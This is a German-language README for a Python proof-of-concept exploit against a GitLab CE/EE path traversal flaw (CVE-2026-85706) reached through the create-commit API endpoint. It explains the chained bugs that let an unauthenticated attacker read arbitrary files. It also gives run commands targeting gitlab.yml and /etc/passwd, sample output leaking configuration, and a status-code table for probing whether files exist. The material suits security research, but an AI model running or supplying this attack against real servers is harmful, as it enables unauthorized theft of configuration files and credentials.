
Python-PoC, das CVE-2026-85706 ausnutzt, einen unauthentifizierten Path Traversal und beliebiges Dateilesen in GitLab CE/EE über den create-commit-Endpunkt, mit Datei-Lese-Orakel.
Unauthentifizierter Path Traversal / beliebiges Dateilesen in GitLab CE und EE. CVSS 10.0. Verifiziert gegen eine selbstverwaltete 19.3.1-Instanz in einem lokalen Lab.
GitLab CE/EE:
Voraussetzung: Die Instanz hat mindestens ein öffentliches Projekt. Jede echte Projekt-ID funktioniert. Kein Konto oder Token erforderlich.
Der create-commit-Endpunkt POST /api/v4/projects/:id/repository/commits
akzeptiert große Dateiinhalte, sodass Workhorse den Request-Body auf die Platte
puffert und file.path / file.size-Metadaten injiziert, die Rails zurückliest.
Vier Fehler treffen zusammen:
require_gitlab_workhorse! beim Eintritt. Das eigentliche
authenticate! sitzt hinter authorize_push_to_branch!, das nach dem
Dateilesen ausgeführt wird.file_params_from_body_upload übernimmt file.path und file.size direkt
aus den Request-Parametern, sodass File.read(file_path) jedem beliebigen
absoluten Pfad folgt, den man angibt..../repository/commits\z.
Ein angehängter Schrägstrich verfehlt diese Route und fällt durch zum
signierten Reverse-Proxy, der den rohen Body mit einem gültigen JWT
weiterleitet. Die Workhorse-Prüfung besteht, Grape normalisiert den
Schrägstrich, und die gefälschten Parameter überleben.Content-Type: application/x-www-form-urlencoded wird der Dateiinhalt
von Rack::Utils.parse_nested_query geparst. Eine illegale %-Sequenz löst
ArgumentError: invalid %-encoding (<component>) aus, und die 400-Antwort
gibt diese Komponente wörtlich zurück.Das Lesen läuft als Benutzer git. Inhalt kommt nur zurück, wenn die Datei eine
illegale %-Sequenz enthält; andernfalls erhält man dennoch ein sauberes
Existenz- und Lesbarkeits-Orakel:
Dateien, die bei einer Standard-Omnibus-Installation zuverlässig zurückgegeben
werden: gitlab.yml (Header-Kommentar trifft früh auf 95%), CI-Job-Logs und
-Artefakte, hochgeladene Anhänge und database.yml bei Deployments mit einer
externen Datenbank.
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
Keine Abhängigkeiten, nur Standardbibliothek.
Gegen gitlab-ce 19.3.1 in Docker, ohne jegliche Zugangsdaten:
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
Orakel-Stichproben aus demselben Lauf:
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
Nur für autorisierte Sicherheitstests und Forschung. Nicht gegen Systeme verwenden, die man nicht besitzt oder für die keine ausdrückliche Genehmigung zum Testen vorliegt.
| Antwort | Bedeutung |
|---|
400 local file not present | Datei existiert nicht |
500 | existiert, nicht lesbar für git |
401 | existiert und lesbar, kein illegales %, nichts zurückgegeben |
400 invalid %-encoding (...) | lesbar, Komponente zurückgegeben |